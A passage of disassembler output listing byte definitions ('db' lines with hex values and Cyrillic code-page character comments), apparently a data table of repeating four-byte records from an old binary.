		db  7Ah	; z
		db 0FDh	; Щ
		db  5Ch	; \
		db  80h	; ─
		db  7Bh	; {
		db    2	;  
		db  13h	;  
		db  80h	; ─
		db  7Bh	; {
		db    3	;  
		db    5	;  
		db  80h	; ─
		db  7Dh	; }
		db  13h	;  
		db 0B7h	; Ї
		db  80h	; ─
		db  7Dh	; }
		db 0FDh	; Щ
		db  88h	; ┬
		db  80h	; ─
		db  7Dh	; }
		db 0FDh	; Щ
		db 0ACh	; ╛
		db  80h	; ─
		db  7Dh	; }
		db 0FDh	; Щ
		db 0B7h	; Ї
		db  80h	; ─
		db  7Eh	; ~
		db  7Ch	; |
		db    2	;  
		db  80h	; ─
		db  80h	; ─
		db  10h	;  
		db    1	;  
		db  80h	; ─
		db  80h	; ─
		db  10h	;  
		db    2	;  
		db  80h	; ─
		db  84h	; └
		db    1	;  
		db 0C9h	; и
		db  80h	; ─
		db  84h	; └
		db    1	;  
		db 0CAh	; й
		db  80h	; ─
		db  86h	; ├
		db  30h	; 0
		db    2	;  
		db  80h	; ─
		db  87h	; ┤
		db  0Ch	;  
		db  49h	; I
		db  80h	; ─
		db  87h	; ┤
		db  14h	;  
		db  64h	; d
		db  80h	; ─
		db  87h	; ┤
		db    4	;  
		db    2	;  
		db  80h	; ─
		db  88h	; ┬
		db 0C0h	; ю
		db  0Bh	;  
		db  80h	; ─
		db  89h	; ┴
		db    1	;  
		db    1	;  
		db  80h	; ─
		db  8Ah	; ┼
		db 0D5h	; у
		db  0Dh	;  
		db  80h	; ─
		db  8Ah	; ┼
		db 0EEh	; Н
		db  9Ah	;  
		db  80h	; ─
		db  8Ah	; ┼
		db 0EEh	; Н
		db  12h	;  
		db  80h	; ─
		db  8Ah	; ┼
		db 0F0h	; П
		db    1	;  
		db  80h	; ─
		db  8Ah	; ┼
		db 0F3h	; С
		db  97h	; ≈
		db  80h	; ─
		db  8Bh	; ▀
		db    4	;  
		db    3	;  
		db  80h	; ─
		db  8Bh	; ▀
		db    6	;  
		db    1	;  
		db  80h	; ─
		db  8Fh	; ▐
		db    2	;  
		db    7	;  
		db  80h	; ─
		db  8Fh	; ▐
		db  16h	;  
		db  77h	; w
		db  80h	; ─
		db  8Fh	; ▐
		db    3	;  
		db    7	;  
		db  80h	; ─
		db  90h	; ░
		db    1	;  
		db  1Ch	;  
		db  80h	; ─
		db  90h	; ░
		db  32h	; 2
		db  16h	;  
		db  80h	; ─
		db  92h	; ▓
		db    1	;  
		db    7	;  
		db  80h	; ─
		db  92h	; ▓
		db  30h	; 0
		db    7	;  
		db  80h	; ─
		db  93h	; ⌠
		db  80h	; ─
		db  53h	; S
		db  80h	; ─
		db  93h	; ⌠
		db  16h	;  
		db  65h	; e
		db  80h	; ─
		db  94h	; ■
		db  80h	; ─
		db  0Bh	;  
		db  80h	; ─
		db  94h	; ■
		db  80h	; ─
		db    9	;  
		db  80h	; ─
		db  97h	; ≈
		db  80h	; ─
		db  34h	; 4
		db  80h	; ─
		db  97h	; ≈
		db 0E0h	; Ю
		db    6	;  
		db  80h	; ─
		db  98h	; ≤
		db    1	;  
		db  1Ah	;  
		db  80h	; ─
		db  98h	; ≤
		db    1	;  
		db    6	;  
		db  80h	; ─
		db  99h	; ≥
		db  80h	; ─
		db    2	;  
		db  80h	; ─
		db  99h	; ≥
		db    4	;  
		db    2	;  
		db  80h	; ─
		db  9Ah	;  
		db  2Ch	; ,
		db  0Ah	;  
		db  80h	; ─
		db  9Bh	; ⌡
		db    3	;  
		db  23h	; #
		db  80h	; ─
		db  9Bh	; ⌡
		db    3	;  
		db  37h	; 7
		db  80h	; ─
		db  9Dh	; ²
		db    5	;  
		db  17h	;  
		db  80h	; ─
		db  9Eh	; ·
		db    1	;  
		db    1	;  
		db  80h	; ─
		db  9Eh	; ·
		db    1	;  
		db    4	;  
		db  80h	; ─
		db  9Fh	; ÷
		db 0AEh	; ў
		db 0AEh	; ў
		db  80h	; ─
		db  10h	;  
		db    5	;  
		db  20h	;  
		db  80h	; ─
		db  10h	;  
		db    6	;  
		db    8	;  
		db  80h	; ─
		db 0A0h	; ═
		db  26h	; &
		db  96h	; √
		db  80h	; ─
		db 0A0h	; ═
		db  34h	; 4
		db  75h	; u
		db  80h	; ─
		db 0A3h	; ё
		db    1	;  
		db    6	;  
		db  80h	; ─
		db 0A4h	; є
		db  8Dh	; █
		db  0Bh	;  
		db  80h	; ─
		db 0A4h	; є
		db  8Dh	; █
		db  0Ch	;  
		db  80h	; ─
		db 0A9h	; ╘
		db 0C9h	; и
		db    2	;  
		db  80h	; ─
		db 0A9h	; ╘
		db  32h	; 2
		db  64h	; d
		db  80h	; ─
		db 0AAh	; ╙
		db  14h	;  
		db  96h	; √
		db  80h	; ─
		db 0AAh	; ╙
		db  14h	;  
		db    2	;  
		db  80h	; ─
		db 0AAh	; ╙
		db 0F4h	; Т
		db    4	;  
		db  80h	; ─
		db 0ABh	; ╚
		db    1	;  
		db    1	;  
		db  80h	; ─
		db 0ABh	; ╚
		db 0ABh	; ╚
		db  0Ah	;  
		db  80h	; ─
		db 0ABh	; ╚
		db    3	;  
		db  0Dh	;  
		db  80h	; ─
		db 0ACh	; ╛
		db    1	;  
		db    1	;  
		db  80h	; ─
		db 0ACh	; ╛
		db    1	;  
		db    2	;  
		db  80h	; ─
		db 0ACh	; ╛
		db  5Ah	; Z
		db  0Ah	;  
		db  80h	; ─
		db 0ADh	; ґ
		db  0Eh	;  
		db  47h	; G
		db  80h	; ─
		db 0AEh	; ў
		db    5	;  
		db  66h	; f
		db  80h	; ─
		db 0AEh	; ў
		db    5	;  
		db  67h	; g
		db  80h	; ─
		db 0AEh	; ў
		db    5	;  
		db  68h	; h
		db  80h	; ─
		db 0AEh	; ў
		db    5	;  
		db  3Ah	; :
		db  80h	; ─
		db 0AFh	; ╞
		db  0Dh	;  
		db  10h	;  
		db  80h	; ─
		db 0AFh	; ╞
		db  0Dh	;  
		db  11h	;  
		db  80h	; ─
		db 0AFh	; ╞
		db  0Dh	;  
		db  4Ah	; J
		db  80h	; ─
		db 0AFh	; ╞
		db  0Dh	;  
		db  5Ch	; \
		db  80h	; ─
		db 0B0h	; ╟
		db    0	;  
		db  0Ch	;  
		db  80h	; ─
		db 0B0h	; ╟
		db    0	;  
		db  0Dh	;  
		db  80h	; ─
		db 0B2h	; ╡
		db  0Fh	;  
		db    7	;  
		db  80h	; ─
		db 0B2h	; ╡
		db  0Fh	;  
		db    8	;  
		db  80h	; ─
		db  12h	;  
		db  6Eh	; n
		db    4	;  
		db  80h	; ─
		db  12h	;  
		db  1Eh	;  
		db  41h	; A
		db  80h	; ─
		db  12h	;  
		db  1Eh	;  
		db  42h	; B
		db  80h	; ─
		db 0B4h	; Є
		db    1	;  
		db    3	;  
		db  80h	; ─
		db 0B4h	; Є
		db    2	;  
		db    9	;  
		db  80h	; ─
		db 0B6h	; І
		db  3Eh	; >
		db  63h	; c
		db  80h	; ─
		db 0B6h	; І
		db  41h	; A
		db    6	;  
		db  80h	; ─
		db 0B7h	; Ї
		db  0Ah	;  
		db  86h	; ├
		db  80h	; ─
		db 0B7h	; Ї
		db  73h	; s
		db  21h	; !
		db  80h	; ─
		db 0B7h	; Ї
		db  32h	; 2
		db  11h	;  
		db  80h	; ─
		db 0B8h	; ╦
		db    1	;  
		db    4	;  
		db  80h	; ─
		db 0BAh	; ╨
		db    6	;  
		db  67h	; g
		db  80h	; ─
		db 0BBh	; ╩
		db  16h	;  
		db  81h	; │
		db  80h	; ─
		db 0BBh	; ╩
		db  16h	;  
		db 0C8h	; х
		db  80h	; ─
		db 0BCh	; ╪
		db    1	;  
		db  6Eh	; n
		db  80h	; ─
		db 0BDh	; Ґ
		db    4	;  
		db    1	;  
		db  80h	; ─
		db  13h	;  
		db    0	;  
		db  11h	;  
		db  80h	; ─
		db  13h	;  
		db    0	;  
		db    3	;  
		db  80h	; ─
		db 0BFh	; ©
		db  10h	;  
		db    1	;  
		db  80h	; ─
		db 0BFh	; ©
		db  30h	; 0
		db 0FAh	; З
		db  80h	; ─
		db 0C0h	; ю
		db    1	;  
		db 0C1h	; а
		db  80h	; ─
		db 0C0h	; ю
		db    1	;  
		db    9	;  
		db  80h	; ─
		db 0C1h	; а
		db    4	;  
		db  14h	;  
		db  80h	; ─
		db 0C1h	; а
		db  40h	; @
		db  21h	; !
		db  80h	; ─
		db 0C2h	; б
		db 0B2h	; ╡
		db    1	;  
		db  80h	; ─
		db 0C2h	; б
		db 0C6h	; ф
		db    5	;  
		db  80h	; ─
		db 0C3h	; ц
		db    1	;  
		db  42h	; B
		db  80h	; ─
		db 0C3h	; ц
		db  19h	;  
		db  42h	; B
		db  80h	; ─
		db 0C4h	; д
		db  80h	; ─
		db 0E9h	; И
		db  80h	; ─
		db 0C5h	; е
		db    2	;  
		db  3Eh	; >
		db  80h	; ─
		db 0C5h	; е
		db  14h	;  
		db  28h	; (
		db  80h	; ─
		db 0C5h	; е
		db  1Bh	;  
		db    7	;  
		db  80h	; ─
		db 0C6h	; ф
		db    1	;  
		db 0FAh	; З
		db  80h	; ─
		db    2	;  
		db 0CEh	; н
		db  82h	; ┌
		db  80h	; ─
		db    2	;  
		db 0DEh	; ч
		db 0C7h	; г
		db  80h	; ─
		db 0C8h	; х
		db    1	;  
		db 0C9h	; и
		db  80h	; ─
		db 0C8h	; х
		db 0C0h	; ю
		db 0CAh	; й
		db  80h	; ─
		db 0CDh	; м
		db    1	;  
		db    2	;  
		db  80h	; ─
		db 0CDh	; м
		db  6Ah	; j
		db    1	;  
		db  80h	; ─
		db 0CDh	; м
		db  20h	;  
		db    8	;  
		db  80h	; ─
		db 0CDh	; м
		db    7	;  
		db    1	;  
		db  80h	; ─
		db 0CEh	; н
		db    2	;  
		db 0FCh	; Э
		db  80h	; ─
		db 0D2h	; р
		db  0Bh	;  
		db    5	;  
		db  80h	; ─
		db 0D5h	; у
		db    1	;  
		db    1	;  
		db  80h	; ─
		db 0D5h	; у
		db    8	;  
		db    7	;  
		db  80h	; ─
		db 0D6h	; ж
		db 0F8h	; Ь
		db  84h	; └
		db  80h	; ─
		db 0D6h	; ж
		db    4	;  
		db  1Dh	;  
		db  80h	; ─
		db 0D6h	; ж
		db  2Eh	; .
		db  40h	; @
		db  80h	; ─
		db 0D9h	; ы
		db  0Bh	;  
		db  19h	;  
		db  80h	; ─
		db 0DAh	; з
		db 0FEh	; Ч
		db  0Ah	;  
		db  80h	; ─
		db 0DAh	; з
		db 0FEh	; Ч
		db  28h	; (
		db  80h	; ─
		db 0DAh	; з
		db  1Bh	;  
		db  14h	;  
		db  80h	; ─
		db 0DBh	; ш
		db  99h	; ≥
		db  1Fh	;  
		db  80h	; ─
		db 0DCh	; э
		db  7Fh	; 
		db 0D7h	; в
		db  80h	; ─
		db 0DCh	; э
		db    2	;  
		db    7	;  
		db  80h	; ─
		db 0DCh	; э
		db    2	;  
		db  52h	; R
		db  80h	; ─
		db 0DDh	; щ
		db  83h	; ┐
		db    1	;  
		db  80h	; ─
		db 0DEh	; ч
		db    1	;  
		db    2	;  
		db  80h	; ─
		db 0DFh	; ъ
		db  20h	;  
		db  23h	; #
		db  80h	; ─
		db 0DFh	; ъ
		db    6	;  
		db    9	;  
		db  80h	; ─
		db 0E0h	; Ю
		db    1	;  
		db  88h	; ┬
		db  80h	; ─
		db 0E2h	; Б
		db    1	;  
		db  0Bh	;  
		db  80h	; ─
		db 0E3h	; Ц
		db  80h	; ─
		db 0A2h	; ╒
		db  80h	; ─
		db 0E3h	; Ц
		db  80h	; ─
		db  18h	;  
		db  80h	; ─
		db 0E3h	; Ц
		db  80h	; ─
		db 0FEh	; Ч
		db  80h	; ─
		db 0E3h	; Ц
		db  94h	; ■
		db 0FDh	; Щ
		db  80h	; ─
		db 0E3h	; Ц
		db  10h	;  
		db    3	;  
		db  80h	; ─
		db 0E4h	; Д
		db    1	;  
		db  0Ah	;  
		db  80h	; ─
		db 0E4h	; Д
		db    5	;  
		db  40h	; @
		db  80h	; ─
		db  17h	;  
		db    1	;  
		db    4	;  
		db  80h	; ─
		db  17h	;  
		db 0CBh	; к
		db  0Ah	;  
		db  80h	; ─
		db 0E6h	; Ф
		db    1	;  
		db  31h	; 1
		db  80h	; ─
		db 0E6h	; Ф
		db  0Ch	;  
		db    5	;  
		db  80h	; ─
		db 0E7h	; Г
		db  80h	; ─
		db 0FBh	; Ш
		db  80h	; ─
		db 0E7h	; Г
		db  40h	; @
		db    1	;  
		db  80h	; ─
		db 0E8h	; Х
		db    0	;  
		db  12h	;  
		db  80h	; ─
		db 0E8h	; Х
		db    0	;  
		db  13h	;  
		db  80h	; ─
		db 0E9h	; И
		db    3	;  
		db    1	;  
		db  80h	; ─
		db 0E9h	; И
		db    3	;  
		db    2	;  
		db  80h	; ─
		db 0EBh	; К
		db 0FBh	; Ш
		db  0Ah	;  
		db  80h	; ─
		db 0EDh	; М
		db    2	;  
		db    1	;  
		db  80h	; ─
		db 0EEh	; Н
		db    2	;  
		db  26h	; &
		db  80h	; ─
		db 0EFh	; О
		db    1	;  
		db  1Eh	;  
		db  80h	; ─
		db 0F0h	; П
		db    2	;  
		db  50h	; P
		db  80h	; ─
		db 0F0h	; П
		db 0E5h	; Е
		db  12h	;  
		db  80h	; ─
		db 0F0h	; П
		db 0E5h	; Е
		db  22h	; "
		db  80h	; ─
		db 0F3h	; С
		db  14h	;  
		db    6	;  
		db  80h	; ─
		db 0F3h	; С
		db  15h	;  
		db  10h	;  
		db  80h	; ─
		db 0F3h	; С
		db  28h	; (
		db 0C1h	; а
		db  80h	; ─
		db 0F4h	; Т
		db 0C2h	; б
		db  64h	; d
		db  80h	; ─
		db 0F4h	; Т
		db 0C5h	; е
		db  20h	;  
		db  80h	; ─
		db 0F4h	; Т
		db  41h	; A
		db  1Dh	;  
		db  80h	; ─
		db 0F8h	; Ь
		db 0ABh	; ╚
		db  32h	; 2
		db  80h	; ─
		db 0F8h	; Ь
		db    2	;  
		db  32h	; 2
		db  80h	; ─
		db 0F8h	; Ь
		db    7	;  
		db  32h	; 2
		db  80h	; ─
		db 0F9h	; Ы
		db    1	;  
		db    1	;  
		db  80h	; ─
		db 0F9h	; Ы
		db    2	;  
		db    1	;  
		db  80h	; ─
		db 0F9h	; Ы
		db    2	;  
		db    2	;  
		db  80h	; ─
		db 0F9h	; Ы
		db 0DDh	; щ
		db  96h	; √
		db  80h	; ─
		db 0FAh	; З
		db    1	;  
		db  15h	;  
		db  80h	; ─
		db 0FAh	; З
		db  14h	;  
		db    2	;  
		db  80h	; ─
		db 0FAh	; З
		db 0FCh	; Э
		db  4Ah	; J
		db  80h	; ─
		db 0FCh	; Э
		db  78h	; x
		db    1	;  
		db  80h	; ─
		db 0FDh	; Щ
		db 0B4h	; Є
		db    2	;  
		db  80h	; ─
		db 0FFh	;  
		db    1	;  
		db    8	;  
		db  80h	; ─
		db 0FFh	;  
		db  11h	;  
		db  2Fh	; /
		db  80h	; ─
		db 0FFh	;  
		db  40h	; @
		db    5	;  
		db  80h	; ─
		db    3	;  
		db  22h	; "
		db 0BAh	; ╨
		db  80h	; ─
		db  20h	;  
		db  88h	; ┬
		db  0Ch	;  
		db  80h	; ─
		db  20h	;  
		db  88h	; ┬
		db    9	;  
		db  80h	; ─
		db  20h	;  
		db 0CEh	; н
		db  0Ch	;  
		db  80h	; ─
		db  20h	;  
		db 0CEh	; н
		db    9	;  
		db  80h	; ─
		db  20h	;  
		db  21h	; !
		db    5	;  
		db  80h	; ─
		db  23h	; #
		db 0FDh	; Щ
		db    3	;  
		db  80h	; ─
		db  23h	; #
		db  20h	;  
		db    1	;  
		db  80h	; ─
		db  27h	; '
		db 0D8h	; ь
		db  0Ah	;  
		db  80h	; ─
		db  2Ah	; *
		db  2Ah	; *
		db  18h	;  
		db  80h	; ─
		db  2Ah	; *
		db    5	;  
		db    4	;  
		db  80h	; ─
		db  2Eh	; .
		db  9Ah	;  
		db  4Ch	; L
		db  80h	; ─
		db  30h	; 0
		db  66h	; f
		db  65h	; e
		db  80h	; ─
		db  30h	; 0
		db  74h	; t
		db 0C9h	; и
		db  80h	; ─
		db  31h	; 1
		db  10h	;  
		db    7	;  
		db  80h	; ─
		db  34h	; 4
		db  20h	;  
		db  16h	;  
		db  80h	; ─
		db  34h	; 4
		db  20h	;  
		db  50h	; P
		db  80h	; ─
		db  36h	; 6
		db  10h	;  
		db    2	;  
		db  80h	; ─
		db  37h	; 7
		db    6	;  
		db  0Ah	;  
		db  80h	; ─
		db  37h	; 7
		db    6	;  
		db  0Bh	;  
		db  80h	; ─
		db  3Bh	; ;
		db  6Fh	; o
		db  63h	; c
		db  80h	; ─
		db  3Bh	; ;
		db  10h	;  
		db  14h	;  
		db  80h	; ─
		db  3Bh	; ;
		db  28h	; (
		db  8Eh	; ▌
		db  80h	; ─
		db  3Bh	; ;
		db  40h	; @
		db  3Ch	; <
		db  80h	; ─
		db    6	;  
		db  15h	;  
		db    8	;  
		db  80h	; ─
		db    6	;  
		db  15h	;  
		db    9	;  
		db  80h	; ─
		db  3Dh	; =
		db  82h	; ┌
		db 0E0h	; Ю
		db  80h	; ─
		db  3Dh	; =
		db  84h	; └
		db  0Fh	;  
		db  80h	; ─
		db  3Fh	; ?
		db  10h	;  
		db    4	;  
		db  80h	; ─
		db    7	;  
		db    2	;  
		db    5	;  
		db  80h	; ─
		db    8	;  
		db  0Ah	;  
		db  0Eh	;  
		db  80h	; ─
		db    8	;  
		db  0Ah	;  
		db  5Ah	; Z
		db  80h	; ─
		db    8	;  
		db    5	;  
		db    2	;  
		db  80h	; ─
		db    8	;  
		db  4Ah	; J
		db    2	;  
		db  80h	; ─
		db    8	;  
		db  4Ch	; L
		db    2	;  
		db  80h	; ─
		db  52h	; R
		db 0E0h	; Ю
		db  65h	; e
		db  80h	; ─
		db  52h	; R
		db 0E0h	; Ю
		db  66h	; f
		db  80h	; ─
		db  53h	; S
		db  8Bh	; ▀
		db    9	;  
		db  80h	; ─
		db  53h	; S
		db 0B9h	; ╧
		db  27h	; '
		db  80h	; ─
		db  53h	; S
		db 0B9h	; ╧
		db  2Ch	; ,
		db  80h	; ─
		db  54h	; T
		db  9Ah	;  
		db  0Ah	;  
		db  80h	; ─
		db  56h	; V
		db    1	;  
		db  14h	;  
		db  80h	; ─
		db  56h	; V
		db    8	;  
		db  19h	;  
		db  80h	; ─
		db    9	;  
		db  80h	; ─
		db  7Fh	; 
		db  80h	; ─
		db    9	;  
		db 0A0h	; ═
		db  59h	; Y
		db  80h	; ─
		db    9	;  
		db 0B0h	; ╟
		db  20h	;  
		db  80h	; ─
		db  5Bh	; [
		db 0FEh	; Ч
		db    1	;  
		db  80h	; ─
		db  5Bh	; [
		db 0FEh	; Ч
		db    4	;  
		db  80h	; ─
		db  60h	; `
		db  14h	;  
		db  1Fh	;  
		db  80h	; ─
		db  60h	; `
		db  14h	;  
		db  29h	; )
		db  80h	; ─
		db  62h	; b
		db    1	;  
		db    1	;  
		db  80h	; ─
		db  63h	; c
		db    0	;  
		db    1	;  
		db  80h	; ─
		db  63h	; c
		db    0	;  
		db  1Eh	;  
		db  81h	; │
		db    1	;  
		db    2	;  
		db    2	;  
		db  81h	; │
		db    1	;  
		db    2	;  
		db    3	;  
		db  81h	; │
		db    1	;  
		db  19h	;  
		db    2	;  
		db  81h	; │
		db    1	;  
		db  40h	; @
		db    2	;  
		db  81h	; │
		db  0Ah	;  
		db    1	;  
		db  0Dh	;  
		db  81h	; │
		db  64h	; d
		db  0Ah	;  
		db 0FCh	; Э
		db  81h	; │
		db  64h	; d
		db    2	;  
		db  0Ch	;  
		db  81h	; │
		db  64h	; d
		db    2	;  
		db  33h	; 3
		db  81h	; │
		db  65h	; e
		db  77h	; w
		db 0DCh	; э
		db  81h	; │
		db  65h	; e
		db  77h	; w
		db 0DFh	; ъ
		db  81h	; │
		db  65h	; e
		db  5Fh	; _
		db  0Ah	;  
		db  81h	; │
		db  66h	; f
		db    1	;  
		db    6	;  
		db  81h	; │
		db  66h	; f
		db    1	;  
		db    8	;  
		db  81h	; │
		db  68h	; h
		db  1Eh	;  
		db  29h	; )
		db  81h	; │
		db  68h	; h
		db  20h	;  
		db  29h	; )
		db  81h	; │
		db  69h	; i
		db  31h	; 1
		db    1	;  
		db  81h	; │
		db  6Bh	; k
		db    1	;  
		db    2	;  
		db  81h	; │
		db  6Bh	; k
		db    1	;  
		db    9	;  
		db  81h	; │
		db  6Ch	; l
		db 0CAh	; й
		db  14h	;  
		db  81h	; │
		db  6Ch	; l
		db 0CAh	; й
		db  23h	; #
		db  81h	; │
		db  6Dh	; m
		db    1	;  
		db 0CFh	; о
		db  81h	; │
		db  0Bh	;  
		db  80h	; ─
		db  77h	; w
		db  81h	; │
		db  0Bh	;  
		db  9Fh	; ÷
		db  72h	; r
		db  81h	; │
		db  0Bh	;  
		db  9Fh	; ÷
		db  7Ah	; z
		db  81h	; │
		db  6Eh	; n
		db  0Ah	;  
		db    1	;  
		db  81h	; │
		db  6Eh	; n
		db  1Fh	;  
		db    7	;  
		db  81h	; │
		db  6Fh	; o
		db  1Ah	;  
		db    6	;  
		db  81h	; │
		db  6Fh	; o
		db  1Ah	;  
		db    7	;  
		db  81h	; │
		db  71h	; q
		db    1	;  
		db    2	;  
		db  81h	; │
		db  74h	; t
		db 0CEh	; н
		db  14h	;  
		db  81h	; │
		db  76h	; v
		db    1	;  
		db    1	;  
		db  81h	; │
		db  77h	; w
		db    3	;  
		db    2	;  
		db  81h	; │
		db  77h	; w
		db  40h	; @
		db  0Ah	;  
		db  81h	; │
		db  0Ch	;  
		db  15h	;  
		db    8	;  
		db  81h	; │
		db  78h	; x
		db 0D2h	; р
		db 0FCh	; Э
		db  81h	; │
		db  78h	; x
		db 0D2h	; р
		db 0FDh	; Щ
		db  81h	; │
		db  78h	; x
		db 0D2h	; р
		db 0FEh	; Ч
		db  81h	; │
		db  79h	; y
		db 0FEh	; Ч
		db    1	;  
		db  81h	; │
		db  7Bh	; {
		db    1	;  
		db    2	;  
		db  81h	; │
		db  7Bh	; {
		db    1	;  
		db    7	;  
		db  81h	; │
		db  7Bh	; {
		db    1	;  
		db    9	;  
		db  81h	; │
		db  7Ch	; |
		db  96h	; √
		db  0Ah	;  
		db  81h	; │
		db  7Dh	; }
		db    4	;  
		db  0Dh	;  
		db  81h	; │
		db  7Dh	; }
		db    4	;  
		db    6	;  
		db  81h	; │
		db  7Fh	; 
		db  1Ch	;  
		db    4	;  
		db  81h	; │
		db  7Fh	; 
		db  28h	; (
		db    3	;  
		db  81h	; │
		db  80h	; ─
		db    4	;  
		db 0F1h	; Я
		db  81h	; │
		db  80h	; ─
		db    5	;  
		db 0E9h	; И
		db  81h	; │
		db  80h	; ─
		db  4Ch	; L
		db 0E9h	; И
		db  81h	; │
		db  81h	; │
		db  64h	; d
		db    1	;  
		db  81h	; │
		db  81h	; │
		db  6Eh	; n
		db  0Ah	;  
		db  81h	; │
		db  0Dh	;  
		db  0Ah	;  
		db  5Ah	; Z
		db  81h	; │
		db  0Dh	;  
		db  40h	; @
		db    5	;  
		db  81h	; │
		db  82h	; ┌
		db  0Ch	;  
		db  18h	;  
		db  81h	; │
		db  84h	; └
		db 0FAh	; З
		db 0DCh	; э
		db  81h	; │
		db  84h	; └
		db  62h	; b
		db  0Ch	;  
		db  81h	; │
		db  85h	; ┘
		db    1	;  
		db  32h	; 2
		db  81h	; │
		db  85h	; ┘
		db    1	;  
		db  33h	; 3
		db  81h	; │
		db  8Ah	; ┼
		db 0FAh	; З
		db  0Ah	;  
		db  81h	; │
		db  8Ah	; ┼
		db    4	;  
		db 0D8h	; ь
		db  81h	; │
		db  8Dh	; █
		db 0C8h	; х
		db  0Ah	;  
		db  81h	; │
		db  8Dh	; █
		db 0C8h	; х
		db  0Fh	;  
		db  81h	; │
		db  8Dh	; █
		db 0C8h	; х
		db  10h	;  
		db  81h	; │
		db  8Eh	; ▌
		db    6	;  
		db  40h	; @
		db  81h	; │
		db  8Eh	; ▌
		db    6	;  
		db  41h	; A
		db  81h	; │
		db  8Eh	; ▌
		db    7	;  
		db  63h	; c
		db  81h	; │
		db  8Fh	; ▐
		db    2	;  
		db    1	;  
		db  81h	; │
		db  0Fh	;  
		db    1	;  
		db  0Ah	;  
		db  81h	; │
		db  0Fh	;  
		db    1	;  
		db    9	;  
		db  81h	; │
		db  10h	;  
		db    1	;  
		db    1	;  
		db  81h	; │
		db  10h	;  
		db    1	;  
		db    3	;  
		db  81h	; │
		db 0A2h	; ╒
		db 0ACh	; ╛
		db    2	;  
		db  81h	; │
		db 0A4h	; є
		db  1Eh	;  
		db  15h	;  
		db  81h	; │
		db 0A9h	; ╘
		db    8	;  
		db    9	;  
		db  81h	; │
		db 0AAh	; ╙
		db  10h	;  
		db    4	;  
		db  81h	; │
		db 0AAh	; ╙
		db  11h	;  
		db    4	;  
		db  81h	; │
		db 0ABh	; ╚
		db  61h	; a
		db    1	;  
		db  81h	; │
		db 0ADh	; ґ
		db    1	;  
		db  0Ah	;  
		db  81h	; │
		db 0ADh	; ґ
		db    1	;  
		db  0Bh	;  
		db  81h	; │
		db 0AEh	; ў
		db    1	;  
		db    8	;  
		db  81h	; │
		db 0AFh	; ╞
		db  0Fh	;  
		db    1	;  
		db  81h	; │
		db 0AFh	; ╞
		db  0Fh	;  
		db    4	;  
		db  81h	; │
		db 0B0h	; ╟
		db  64h	; d
		db    5	;  
		db  81h	; │
		db 0B0h	; ╟
		db 0C7h	; г
		db    5	;  
		db  81h	; │
		db 0B1h	; ╠
		db  0Ch	;  
		db  1Fh	;  
		db  81h	; │
		db 0B1h	; ╠
		db  10h	;  
		db    3	;  
		db  81h	; │
		db 0B1h	; ╠
		db  1Eh	;  
		db    3	;  
		db  81h	; │
		db 0B2h	; ╡
		db  58h	; X
		db  41h	; A
		db  81h	; │
		db 0B4h	; Є
		db    1	;  
		db  11h	;  
		db  81h	; │
		db 0B4h	; Є
		db    1	;  
		db    4	;  
		db  81h	; │
		db 0B4h	; Є
		db    4	;  
		db    7	;  
		db  81h	; │
		db 0B5h	; ╣
		db  71h	; q
		db    1	;  
		db  81h	; │
		db 0B5h	; ╣
		db  0Ch	;  
		db    3	;  
		db  81h	; │
		db 0B5h	; ╣
		db  78h	; x
		db 0FEh	; Ч
		db  81h	; │
		db 0B5h	; ╣
		db  80h	; ─
		db    3	;  
		db  81h	; │
		db 0B5h	; ╣
		db  80h	; ─
		db    4	;  
		db  81h	; │
		db 0B5h	; ╣
		db  10h	;  
		db 0A2h	; ╒
		db  81h	; │
		db 0B5h	; ╣
		db  10h	;  
		db  58h	; X
		db  81h	; │
		db 0B5h	; ╣
		db 0A5h	; ╔
		db    1	;  
		db  81h	; │
		db 0B5h	; ╣
		db 0B2h	; ╡
		db    1	;  
		db  81h	; │
		db 0B5h	; ╣
		db 0B6h	; І
		db    1	;  
		db  81h	; │
		db 0B5h	; ╣
		db 0B8h	; ╦
		db  0Ch	;  
		db  81h	; │
		db 0BAh	; ╨
		db    1	;  
		db 0C8h	; х
		db  81h	; │
		db 0BAh	; ╨
		db  8Ch	; ▄
		db 0C8h	; х
		db  81h	; │
		db 0BAh	; ╨
		db  8Eh	; ▌
		db 0C8h	; х
		db  81h	; │
		db 0BBh	; ╩
		db  0Ah	;  
		db  19h	;  
		db  81h	; │
		db 0BBh	; ╩
		db  10h	;  
		db    1	;  
		db  81h	; │
		db 0BCh	; ╪
		db  88h	; ┬
		db  64h	; d
		db  81h	; │
		db 0BCh	; ╪
		db  88h	; ┬
		db  65h	; e
		db  81h	; │
		db  13h	;  
		db  60h	; `
		db    4	;  
		db  81h	; │
		db 0BFh	; ©
		db    1	;  
		db    1	;  
		db  81h	; │
		db 0C0h	; ю
		db  40h	; @
		db  19h	;  
		db  81h	; │
		db 0C1h	; а
		db    4	;  
		db    1	;  
		db  81h	; │
		db 0C2h	; б
		db    4	;  
		db  20h	;  
		db  81h	; │
		db 0C2h	; б
		db    4	;  
		db    6	;  
		db  81h	; │
		db 0C2h	; б
		db    8	;  
		db    7	;  
		db  81h	; │
		db 0C3h	; ц
		db 0FEh	; Ч
		db  3Ch	; <
		db  81h	; │
		db 0C3h	; ц
		db 0FEh	; Ч
		db  3Dh	; =
		db  81h	; │
		db 0C4h	; д
		db 0E1h	; А
		db  14h	;  
		db  81h	; │
		db 0C4h	; д
		db 0E1h	; А
		db  15h	;  
		db  81h	; │
		db 0C6h	; ф
		db 0F1h	; Я
		db  29h	; )
		db  81h	; │
		db 0C7h	; г
		db  60h	; `
		db  0Bh	;  
		db  81h	; │
		db  14h	;  
		db  80h	; ─
		db  31h	; 1
		db  81h	; │
		db  14h	;  
		db 0FEh	; Ч
		db    1	;  
		db  81h	; │
		db 0CBh	; к
		db 0FEh	; Ч
		db  41h	; A
		db  81h	; │
		db 0CEh	; н
		db  64h	; d
		db  7Eh	; ~
		db  81h	; │
		db 0CEh	; н
		db  64h	; d
		db  7Fh	; 
		db  81h	; │
		db 0CFh	; о
		db  64h	; d
		db    3	;  
		db  81h	; │
		db  15h	;  
		db  15h	;  
		db    1	;  
		db  81h	; │
		db  15h	;  
		db 0EFh	; О
		db  1Eh	;  
		db  81h	; │
		db  15h	;  
		db    3	;  
		db  11h	;  
		db  81h	; │
		db  15h	;  
		db  1Eh	;  
		db    1	;  
		db  81h	; │
		db  15h	;  
		db  21h	; !
		db    3	;  
		db  81h	; │
		db  15h	;  
		db    4	;  
		db  12h	;  
		db  81h	; │
		db  15h	;  
		db  37h	; 7
		db    1	;  
		db  81h	; │
		db  15h	;  
		db  39h	; 9
		db    1	;  
		db  81h	; │
		db  15h	;  
		db  39h	; 9
		db  81h	; │
		db  81h	; │
		db  15h	;  
